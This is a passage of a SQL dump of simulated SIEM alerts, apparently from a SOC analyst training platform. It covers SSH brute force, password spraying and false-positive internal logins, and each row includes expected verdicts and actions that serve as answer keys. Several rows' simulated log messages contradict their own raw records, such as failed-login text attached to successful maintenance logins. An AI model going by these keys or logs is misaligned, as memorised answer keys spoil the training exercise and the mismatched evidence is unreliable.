user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:55:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:54:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1680, 'False Positive: Internal SSH Activity', 'low', 'Elastic SIEM', 'Detected SSH login attempts from an internal IP address, likely due to a scheduled script.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:22:48Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.0.15\",\"dst_ip\":\"192.168.0.20\",\"username\":\"backup_user\",\"hostname\":\"backup-server\",\"failed_attempts\":2}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for scheduled tasks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal user for backup operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity is consistent with internal maintenance operations.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:57:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:56:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:55:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:54:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1681, 'Password Spraying Attempt on Internal Network', 'medium', 'Azure Sentinel', 'Multiple failed login attempts detected from an external IP, suggesting a password spraying attempt.', 'Credential Attack', 'T1110', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-15T08:45:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.9\",\"username\":\"smith\",\"hostname\":\"internal-webapp\",\"failed_attempts\":30}', '2026-03-15 19:40:23', '2026-03-15 21:17:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple password spraying reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User involved in the detected attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s malicious history confirms its involvement in the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:57:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:56:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:55:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:54:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1682, 'SSH Login Attempt from Suspicious External IP', 'high', 'Splunk', 'An external IP has been attempting to login via SSH, showing signs of a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:14:56Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.114.56\",\"dst_ip\":\"10.0.0.11\",\"username\":\"root\",\"hostname\":\"main-server\",\"failed_attempts\":50}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.114.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently reported for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative username targeted\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated and rapid login attempts from a known malicious IP validate the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1683, 'False Positive: Scheduled Maintenance Login', 'low', 'Wazuh', 'Detected login attempts from an internal IP that match scheduled maintenance activities.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:02:14Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"maintenance\",\"hostname\":\"maintenance-server\",\"failed_attempts\":1}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with known maintenance activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"maintenance\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username for scheduled maintenance tasks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login activity aligns with expected maintenance operations.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:57:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:56:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:55:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:54:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1684, 'Suspicious Login Attempts from Known Malicious IP', 'high', 'Azure Sentinel', 'A known malicious IP has been attempting unauthorized logins, indicating a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:28:42Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.78\",\"dst_ip\":\"10.0.0.8\",\"username\":\"administrator\",\"hostname\":\"core-server\",\"failed_attempts\":45}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s malicious history corroborates the detected attack pattern.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:57:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:56:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:55:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:54:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1685, 'Potential Password Spraying Detected', 'medium', 'Elastic SIEM', 'An external IP address has been attempting multiple logins, possibly indicating a password spraying attempt.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:31:29Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"192.168.1.15\",\"username\":\"user1\",\"hostname\":\"company-portal\",\"failed_attempts\":35}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous password spraying incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The pattern of failed attempts and external IP reputation confirm the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:57:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:56:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:55:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:54:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1686, 'False Positive: Authorized User Activity', 'low', 'Splunk', 'Detected login attempts from an internal IP by an authorized user, not a security threat.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:05:59Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.0.50\",\"dst_ip\":\"192.168.0.60\",\"username\":\"authorized_user\",\"hostname\":\"internal-server\",\"failed_attempts\":0}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used by authorized personnel\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"authorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Authorized user for internal 